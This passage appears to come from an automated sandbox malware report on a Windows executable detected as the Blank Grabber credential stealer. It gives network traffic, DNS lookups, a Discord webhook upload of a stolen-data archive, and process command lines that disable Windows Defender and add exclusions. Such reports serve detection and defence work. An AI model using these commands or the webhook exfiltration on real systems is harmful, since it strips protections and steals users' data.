Jan 5, 2025 07:20:00.356712103 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:20:00.357451916 CET	50007	443	192.168.2.4	162.159.137.232
Jan 5, 2025 07:20:00.376818895 CET	50006	80	192.168.2.4	208.95.112.1
Jan 5, 2025 07:20:00.381851912 CET	80	50006	208.95.112.1	192.168.2.4
Jan 5, 2025 07:20:00.381910086 CET	50006	80	192.168.2.4	208.95.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 07:19:22.469485044 CET	50018	53	192.168.2.4	1.1.1.1
Jan 5, 2025 07:19:22.478086948 CET	53	50018	1.1.1.1	192.168.2.4
Jan 5, 2025 07:19:25.390865088 CET	49227	53	192.168.2.4	1.1.1.1
Jan 5, 2025 07:19:25.397901058 CET	53	49227	1.1.1.1	192.168.2.4
Jan 5, 2025 07:19:58.401062012 CET	61730	53	192.168.2.4	1.1.1.1
Jan 5, 2025 07:19:58.408387899 CET	53	61730	1.1.1.1	192.168.2.4
Jan 5, 2025 07:19:59.196995974 CET	64116	53	192.168.2.4	1.1.1.1
Jan 5, 2025 07:19:59.203511953 CET	53	64116	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 5, 2025 07:19:22.469485044 CET	192.168.2.4	1.1.1.1	0xae70	Standard query (0)	blank-whj1o.in	A (IP address)	IN (0x0001)	false
Jan 5, 2025 07:19:25.390865088 CET	192.168.2.4	1.1.1.1	0x71d2	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Jan 5, 2025 07:19:58.401062012 CET	192.168.2.4	1.1.1.1	0x2fbf	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Jan 5, 2025 07:19:59.196995974 CET	192.168.2.4	1.1.1.1	0x1192	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 5, 2025 07:18:16.266263008 CET	1.1.1.1	192.168.2.4	0xe12c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 5, 2025 07:18:16.266263008 CET	1.1.1.1	192.168.2.4	0xe12c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 5, 2025 07:19:22.478086948 CET	1.1.1.1	192.168.2.4	0xae70	Name error (3)	blank-whj1o.in	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 07:19:25.397901058 CET	1.1.1.1	192.168.2.4	0x71d2	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Jan 5, 2025 07:19:58.408387899 CET	1.1.1.1	192.168.2.4	0x2fbf	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Jan 5, 2025 07:19:59.203511953 CET	1.1.1.1	192.168.2.4	0x1192	No error (0)	discord.com		162.159.137.232	A (IP address)	IN (0x0001)	false
Jan 5, 2025 07:19:59.203511953 CET	1.1.1.1	192.168.2.4	0x1192	No error (0)	discord.com		162.159.135.232	A (IP address)	IN (0x0001)	false
Jan 5, 2025 07:19:59.203511953 CET	1.1.1.1	192.168.2.4	0x1192	No error (0)	discord.com		162.159.138.232	A (IP address)	IN (0x0001)	false
Jan 5, 2025 07:19:59.203511953 CET	1.1.1.1	192.168.2.4	0x1192	No error (0)	discord.com		162.159.136.232	A (IP address)	IN (0x0001)	false
Jan 5, 2025 07:19:59.203511953 CET	1.1.1.1	192.168.2.4	0x1192	No error (0)	discord.com		162.159.128.233	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

discord.com

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49904	208.95.112.1	80	7732	C:\Users\user\Desktop\KpHYfxnJs6.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 07:19:25.406873941 CET	117	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Accept-Encoding: identity User-Agent: python-urllib3/2.3.0
Jan 5, 2025 07:19:25.866300106 CET	175	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 06:19:25 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 49 X-Rl: 43 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	50006	208.95.112.1	80	7732	C:\Users\user\Desktop\KpHYfxnJs6.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 07:19:58.416261911 CET	116	OUT	GET /json/?fields=225545 HTTP/1.1 Host: ip-api.com Accept-Encoding: identity User-Agent: python-urllib3/2.3.0
Jan 5, 2025 07:19:58.889084101 CET	381	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 06:19:58 GMT Content-Type: application/json; charset=utf-8 Content-Length: 204 Access-Control-Allow-Origin: * X-Ttl: 16 X-Rl: 41 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 72 65 76 65 72 73 65 22 3a 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 38 39 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 22 6d 6f 62 69 6c 65 22 3a 66 61 6c 73 65 2c 22 70 72 6f 78 79 22 3a 66 61 6c 73 65 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 7d Data Ascii: {"status":"success","country":"United States","regionName":"New York","timezone":"America/New_York","reverse":"static-cpe-8-46-123-189.centurylink.com","mobile":false,"proxy":false,"query":"8.46.123.189"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	50007	162.159.137.232	443	7732	C:\Users\user\Desktop\KpHYfxnJs6.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 06:19:59 UTC	302	OUT	POST /api/webhooks/1325289657537396889/J06FnIZUAv7ve4gZB3OnZqf37kI5zFxJAxHAJD7bveXtJPDaio_xou6MvVt3E_xErz6c HTTP/1.1 Host: discord.com Accept-Encoding: identity Content-Length: 757556 User-Agent: python-urllib3/2.3.0 Content-Type: multipart/form-data; boundary=be021ac6dd6a6f9463cea33afec2e4d4
2025-01-05 06:19:59 UTC	16384	OUT	Data Raw: 2d 2d 62 65 30 32 31 61 63 36 64 64 36 61 36 66 39 34 36 33 63 65 61 33 33 61 66 65 63 32 65 34 64 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 6c 61 6e 6b 2d 6a 6f 6e 65 73 2e 72 61 72 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 52 61 72 21 1a 07 01 00 b7 77 77 f4 21 04 00 00 01 0f 9c 4a dd f3 43 32 35 39 a9 c3 a5 b7 7b cd 87 5c c2 99 19 9e 87 8a b1 a7 43 b7 d7 c3 82 e2 58 4b ca bc d7 02 18 5d 44 06 5f 07 65 c5 5d 26 2f e5 06 3d 3f 9a ba 51 fa 34 7f 95 83 8b 7c 79 6d 14 07 38 27 38 de 7f 7b 34 b7 b9 8b 5c 9c 0f 13 1b 3d 23 c7 ca 5b d5 Data Ascii: --be021ac6dd6a6f9463cea33afec2e4d4Content-Disposition: form-data; name="file"; filename="Blank-user.rar"Content-Type: application/octet-streamRar!ww!JC259{\CXK]D_e]&/=?Q4\|ym8'8{4\=#[
2025-01-05 06:19:59 UTC	16384	OUT	Data Raw: 4c f2 60 34 f8 da 58 52 2a f1 38 0f 2e f1 e5 5b eb 07 2e fd 55 d0 ad 08 5a 28 9b 9b 97 02 09 01 12 69 79 22 63 0c 75 dd 75 d8 9e 8d 0b fb 58 22 36 3f 7e d3 06 ae 1f 40 d0 51 fd 9c 3f d8 37 a2 94 28 83 fe 2a 8e 78 64 80 6c 3a 1c 38 7f 5e 8c 21 2d 44 1a eb 0e bf 1a 60 98 0e 7e 8f 86 a2 45 41 5b b1 93 6a 90 1c 91 94 b6 a7 24 2f ba f2 4c c6 a7 8f 38 a7 72 32 77 11 a2 dc 4e bc 5b 9b dc f1 c1 63 9d 3d 59 d2 79 b6 d2 91 6b e9 2f 1c d2 7b cf 5a 9c 54 7f 89 64 de 61 04 ff 6c 78 da 80 d8 64 10 a1 57 5a 6c f1 c2 de d9 55 3a fe bf 50 d0 fc 1e 1c b5 fd 83 43 cc 81 16 ff 9b 77 b3 3c 74 39 b2 3a 27 6c 36 ac c8 38 04 10 47 7c cd 6b d9 64 65 ab ca bd e3 be c1 6c e5 23 91 a3 5e 78 fe bb c8 5f c4 9c db 87 57 00 dc 4e 4d 29 c2 4d a0 95 c1 88 7c 94 e8 8a b4 98 74 f6 2a 99 d5 Data Ascii: L`4XR8.[.UZ(iy"cuuX"6?~@Q?7(xdl:8^!-D`~EA[j$/L8r2wN[c=Yyk/{ZTdalxdWZlU:PCw<t9:'l68G\|kdel#^x_WNM)M\|t*
2025-01-05 06:19:59 UTC	16384	OUT	Data Raw: b6 f3 d9 65 80 f9 c2 cf a4 4c 1d a1 a7 58 5a 62 ce d6 e8 dc b1 7c b4 36 f2 f1 38 97 c8 80 4d 80 3b bb aa 20 29 25 c8 80 71 b9 33 32 be d3 9c 24 7b 22 0c 90 58 fb e7 c9 da 1c 51 54 c4 49 dc ae ad 88 6d 56 ae d7 92 c9 20 10 7e 60 b0 6f b3 06 e2 70 8b 13 55 e9 b9 64 26 95 a5 a2 28 3e c6 1e c5 31 a6 4e be b8 dc b7 7b 38 d4 2f 81 f7 57 02 6c 7f f4 71 06 51 d0 4f 78 45 1a 7e c3 a9 93 33 bf 19 05 61 cc 6d 15 af 3d 39 a3 3a c2 e7 43 32 3f 95 ce 43 24 82 56 e3 ab 90 ba 44 28 58 68 82 19 73 77 b4 5b cf 1a 3f 16 3d 72 79 f5 c5 71 e9 96 68 72 cc 34 03 53 29 05 bf ff 64 4d b2 47 fe 65 31 4f b5 74 29 74 14 e2 90 2c 47 1d 71 46 9a 4f d7 15 d5 f1 8a 97 60 dd 2a 85 9e 01 11 73 66 13 e5 c8 f0 a0 30 f3 d3 4d 29 1d 46 c0 f3 18 7f ef ad e4 b9 49 3f 65 d5 2c 6b b3 01 1b 28 21 Data Ascii: eLXZb\|68M; )%q32${"XQTImV ~`opUd&(>1N{8/WlqQOxE~3am=9:C2?C$VD(Xhsw[?=ryqhr4S)dMGe1Ot)t,GqFO`*sf0M)FI?e,k(!
2025-01-05 06:19:59 UTC	16384	OUT	Data Raw: 49 a8 5f f0 05 0e d8 b8 ce 46 e1 7a d9 f6 57 35 f5 be 2b fc 91 50 7e c8 b2 b1 c1 c8 51 63 1b 0a a4 90 12 4d 3d e1 81 d5 d9 11 db 06 dc b4 2d f3 4b 65 44 11 db 77 a8 bf 4a a5 e2 87 fe 0c 39 a3 b4 5c 76 0c 4d ae 98 40 00 7f 9d c4 2e 5d 4e 5f ac c7 86 05 32 0b d1 07 64 40 6a a2 c5 d8 2a ad 93 42 47 b6 5a d3 47 68 20 ce 39 24 b9 09 ed e9 57 f1 55 69 e8 20 59 a3 93 3d 84 fb 35 7a 18 a0 43 2d 8a 16 a0 0f 30 e2 58 2d f9 d1 d2 2a f9 d4 f6 4d 3b cf bd 50 dc 69 66 1c fd e4 17 c9 2d 3f 8e 3e c0 bf f7 bd 47 b8 3b 26 5f f1 1f 0d af 2f fa 4f 12 89 62 ca 16 63 09 db d4 52 ef fa d2 db 63 3b 81 79 f2 c5 ac 77 78 ac 02 2e f5 51 7b 3a 2e 18 40 b8 b6 1f 48 27 e1 d2 09 ef 06 a2 84 66 27 35 81 1a 6b a5 d4 e9 42 28 80 a7 e8 34 2c 42 4c 89 ed ad 70 c8 0b b8 96 e2 18 c7 c3 26 6d Data Ascii: I_FzW5+P~QcM=-KeDwJ9\vM@.]N_2d@jBGZGh 9$WUi Y=5zC-0X-M;Pif-?>G;&_/ObcRc;ywx.Q{:.@H'f'5kB(4,BLp&m
2025-01-05 06:19:59 UTC	16384	OUT	Data Raw: 2f c9 6e 02 a8 01 8a 6b 2c 11 8d 7f fd c5 ba d5 ca 4b 4e f5 61 dc 7b 9f 57 fe 5f 2a 34 e9 06 f5 a3 6e f5 18 47 d9 c0 1e 97 24 f5 6d a5 20 81 05 85 af 8d 58 da c9 6f 5b 62 9b 4d 7f 2a ef 58 ca 96 9f 4c 32 71 83 e8 60 fa 42 6f 3d 98 d6 39 d5 e0 8f e7 c7 f8 a6 3d fb 50 40 16 85 4c e4 47 85 51 63 67 20 87 88 65 4a 1c d9 01 fb a1 5f 98 5d 71 91 8f 4b ed ef ab a8 5f 22 f0 8e ee 09 f4 76 87 93 c4 d4 1c 2f 4c 44 38 ec 3f 92 1b e9 6a c5 b3 ca 8d 13 7f c1 8f 16 67 49 fe a3 76 11 c2 21 9b 1f dc 5f 5c 92 df df ce d1 17 a6 79 99 cf 9a 73 43 40 6b 99 17 1f 0c dc 45 26 74 3b 7e 3f 88 fb 64 28 cc ff 71 d1 56 8a c0 22 35 99 5b 77 fd 48 44 a1 4d 2b ec 37 d2 6a 45 59 a1 12 03 9e a7 99 3b c2 62 a1 38 54 f5 54 1f 96 84 7f f2 96 34 74 11 79 3d ee 98 2f bc bc 36 19 b9 bd d9 cc Data Ascii: /nk,KNa{W_4nG$m Xo[bMXL2q`Bo=9=P@LGQcg eJ_]qK_"v/LD8?jgIv!_\ysC@kE&t;~?d(qV"5[wHDM+7jEY;b8TT4ty=/6
2025-01-05 06:19:59 UTC	16384	OUT	Data Raw: 0d 55 b8 31 dd 9c 6a 17 87 2c ca 3d e4 a0 56 b8 50 60 9c 2c f5 c9 8f a9 bc bd b2 97 fb 47 73 20 c6 65 9e 30 c1 6f dd bb 85 ae 93 04 03 03 1c 3f 4d b2 8d ec 24 c8 2d 84 f0 a9 ec fc ca a6 af a5 f0 d1 7c 39 bf 18 a7 7b 0f 28 a1 15 fc ea 4d e1 20 af 30 b8 72 f3 35 df 41 d8 e9 5d e0 de f9 47 de 08 42 0a 79 d3 5d 33 d2 f5 18 c8 11 c9 ee 0c f4 cd 76 50 82 cf 5d 81 d4 95 e9 86 9a fa 65 64 9f 0a 09 47 b8 c7 cb 7b 2c ff 5f ab af d9 56 78 4a e9 a4 a4 c5 14 7f f0 9a 35 a9 84 89 20 1b 53 81 f7 f6 49 b9 ad 75 c0 ee dd b3 ab a9 e5 61 6f ad 1d 00 59 c8 ac 0c ea b8 e2 40 b6 fe c5 24 d9 51 68 d2 73 dd 5a 41 c0 a1 fb 26 cc d9 d3 dc 62 9c 6a 28 9f 8d 2c 29 08 14 81 af 68 70 24 69 c6 cc 3e 6c 32 c1 f3 83 8b 96 1e 73 97 e6 bc d5 91 30 3d 37 ab a9 64 46 06 c7 77 37 3c fa a0 3e Data Ascii: U1j,=VP`,Gs e0o?M$-\|9{(M 0r5A]GBy]3vP]edG{,_VxJ5 SIuaoY@$QhsZA&bj(,)hp$i>l2s0=7dFw7<>
2025-01-05 06:19:59 UTC	16384	OUT	Data Raw: 76 59 5b a1 f0 00 28 90 a1 58 00 92 2a dd b0 60 64 9d c9 b0 89 a4 e9 86 11 77 4f 81 61 66 f2 97 6b e4 c8 44 78 9c 4a ad cc da 93 f1 49 ba da f4 f0 46 17 25 08 ec c8 70 e5 70 45 89 d6 bd de d6 ee 9d dd 3b a3 96 88 d2 e6 11 07 18 87 8c 4e b4 d1 ae c6 af 77 2e 1e 5d 74 21 42 14 d2 a1 9e e8 59 f7 37 30 b9 0e 00 30 a9 63 73 97 6d 99 72 4b a8 2e d0 ca 5e 70 04 5f 95 97 7c 53 8b 90 a2 51 90 56 e3 62 80 7c 48 40 2d e5 75 d3 67 6e ca fe f6 0a ec d6 89 d9 29 eb 89 a1 aa e1 a6 9f a6 5c db de be a8 30 12 ae fd 3c 35 6f 69 67 55 3d 68 0d cf cf 31 28 f2 ee 9c e8 0e 13 b7 2f 74 1b 4f fb 63 68 22 63 3b 7d 6a cc 43 39 4a e7 1b 3f d2 d7 b9 c9 64 64 ba d5 c8 b4 43 f7 be 98 dd c1 3c 85 f4 c6 48 66 c9 67 72 3a cc 8a 4b a1 61 03 4e ce b8 31 8a 72 36 24 6f 5e 8b f8 3c 64 da 3b Data Ascii: vY[(X*`dwOafkDxJIF%ppE;Nw.]t!BY700csmrK.^p_\|SQVb\|H@-ugn)\0<5oigU=h1(/tOch"c;}jC9J?ddC<Hfgr:KaN1r6$o^<d;
2025-01-05 06:19:59 UTC	16384	OUT	Data Raw: a4 3c 43 e2 0d 03 ae 94 49 e0 2d d9 bc ab d2 17 5c 90 6d cc 14 85 c3 dc f5 93 36 7d 50 f6 22 e6 68 02 23 de c8 48 e3 fc 07 68 99 9e 4c f4 7f d2 8d ae fc f8 3b 85 ef af 76 95 29 fa ee 69 08 79 33 e3 33 f1 e7 2d f7 ab 33 73 af 5c 8a ae 9c e1 72 d5 ed 89 a2 8b da f6 9c 40 35 c4 dd 5c cf df f5 20 67 9c ac e8 72 6b 89 b1 8b de 03 e2 15 67 90 16 99 a7 c6 4b 98 8a 57 08 54 10 91 ef 04 ed 89 e3 45 f1 6d 0b 54 8a 49 43 e0 f1 44 8c 51 2d 1e 64 ce 59 9f df 3f e1 2f 2e fe 48 5b de 6d 4f 1f 25 09 96 9c 0d fe 1e f3 80 0d 02 da 66 8a b7 10 6c df 8e f8 f2 db ed a5 5c 05 fb 5e 06 32 97 f6 cf a1 4e c1 96 f4 84 1b 93 9d 13 88 fc 6a d0 18 51 87 13 89 a1 4d 64 5e 6f 9a bc d2 74 fd 14 44 18 9c af 11 20 ba 5d a7 83 13 29 ba e4 fd 41 82 a0 bc df c5 11 6d c6 eb 5b 20 3c 6c 9f 2d Data Ascii: <CI-\m6}P"h#HhL;v)iy33-3s\r@5\ grkgKWTEmTICDQ-dY?/.H[mO%fl\^2NjQMd^otD ])Am[ <l-
2025-01-05 06:19:59 UTC	16384	OUT	Data Raw: e8 d2 08 ce 63 86 aa 5a d2 5d e0 73 8c 13 1e ee 95 3f 16 57 2d dd e0 7b 78 a9 47 83 9f f9 47 fd 67 67 75 9e 67 69 20 77 db a5 6c 98 24 83 1f 8c d4 aa 43 10 df f7 10 2f 8b a6 53 87 1a a7 fb 95 76 7d 56 0a 43 3e e4 08 cd 65 fd c5 ba 47 8b 5d a2 a9 72 7b ea 13 0c 2a b2 b6 a6 7c 88 0c e5 32 ea ce f8 83 0e bf 53 10 9a cc 14 ad 79 ae e5 fb ce e7 3c d7 dd a9 f3 9c 87 fc d1 86 8c 2d 5c 88 ba 72 ed 4d 8e bf fe 51 b7 01 5d 0e 48 04 8c 69 69 54 c5 ea ed 0d 18 9c 27 bc 34 6d d5 03 8a f2 d9 68 35 26 14 ed 6e 60 ab d0 1b 33 23 e1 bd c9 75 85 f2 b0 8b 72 28 ea ef f1 45 db 7f 02 00 4f 7a ee 0a f0 ce 4a c8 6e 10 27 15 bc 0e 84 11 d4 3c b1 e0 d9 f6 e1 7e 58 10 b0 87 db 1d ff 1a 8e 26 d7 d2 a6 11 18 ec 9a 11 be 18 c0 85 69 b4 ce 47 1f 9d d3 79 fb 33 25 ed 39 5b 84 2b e4 6e Data Ascii: cZ]s?W-{xGGggugi wl$C/Sv}VC>eG]r{*\|2Sy<-\rMQ]HiiT'4mh5&n`3#ur(EOzJn'<~X&iGy3%9[+n
2025-01-05 06:19:59 UTC	16384	OUT	Data Raw: fc 6a 1d 59 12 63 89 91 62 eb c5 31 9d a2 1f a9 ca 64 40 d9 3f a0 0c 97 4e ff 75 9d c9 b6 2e 2d 78 9d 51 ff 77 c3 bc d2 36 be f9 b5 57 9e 8e d7 7f e7 c8 5b 88 7a a6 a5 f5 1e f5 5a 2e 93 cf fc 98 42 b0 36 0b 63 fe e7 b6 87 27 45 9e 11 94 97 9e df 2d 20 85 45 06 04 4a 30 08 1a 35 4f 5e fc b9 a7 71 d6 9b 8a 18 c1 a8 82 9a fd 45 69 da a0 e8 89 29 d7 9d 47 4d a5 0c c4 44 e6 44 81 c2 58 71 9d 7f 84 6d 79 35 8d 0b 93 74 6f f2 81 4b 4e b3 1e 48 d3 22 b0 dd 47 3a 2b 57 fe 64 a3 d1 95 d4 41 7d 93 14 d1 c4 e8 e2 95 5b 12 7d 3b 64 5b e1 fa 79 05 85 0a 2b 12 2d a3 cb c7 8b 48 8b d1 6f 23 ac 49 33 3a 02 99 34 96 b8 ca 44 24 e1 8d 20 ee 82 bb e5 29 fe 58 4c 57 cd 1f 52 57 72 ff 15 2d fc 1f 99 52 1f 0c e3 7d 88 8a cb ef a7 db b7 7d c2 50 22 ca ad 20 75 5d ab 47 e3 e9 41 Data Ascii: jYcb1d@?Nu.-xQw6W[zZ.B6c'E- EJ05O^qEi)GMDDXqmy5toKNH"G:+WdA}[};d[y+-Ho#I3:4D$ )XLWRWr-R}}P" u]GA
2025-01-05 06:20:00 UTC	1257	IN	HTTP/1.1 404 Not Found Date: Sun, 05 Jan 2025 06:20:00 GMT Content-Type: application/json Content-Length: 45 Connection: close Cache-Control: public, max-age=3600, s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1736058001 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zw5vSBldi9iOW%2B9eohdvopcKIAWFYHRKodKbFFkuEUzy6NjtAeQYt%2BV0q9gfoFdO%2F3nGXOF%2BcBDredMg2V2D2z5kQySEIm6wi2C5gtsOEXVdIv4eJe8aFfj1Uo95"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __cfruid=5cbfc4dd6375ebbad0e3f09fa787817f5ba62106-1736058000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: _cfuvid=bS8fx30a016BJMMg6M7LZNH.avt_AGjRctIj0yxJamY-1736058000314-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8fd15c226cc4429d-EWR

Target ID:	0
Start time:	01:17:58
Start date:	05/01/2025
Path:	C:\Users\user\Desktop\KpHYfxnJs6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\KpHYfxnJs6.exe"
Imagebase:	0x400000
File size:	9'081'534 bytes
MD5 hash:	41B147FD16A94A8EA6164177CF91733C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.2051169917.00000000050F4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.2051169917.00000000050F6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:18:36
Start date:	05/01/2025
Path:	C:\Users\user\Desktop\KpHYfxnJs6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\KpHYfxnJs6.exe"
Imagebase:	0x400000
File size:	9'081'534 bytes
MD5 hash:	41B147FD16A94A8EA6164177CF91733C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000004.00000003.2878432052.000000000838F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000004.00000002.2886083384.0000000007480000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000004.00000003.2478525304.0000000007540000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:19:20
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\KpHYfxnJs6.exe'"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:19:20
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:19:20
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:19:20
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('VERISON NOT SUPPORT (WAIT FOR UPDATE)', 0, 'CLOSING ALL APPS FOR BOTNET', 0+16);close()""
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:19:20
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:19:20
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	01:19:20
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:19:20
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
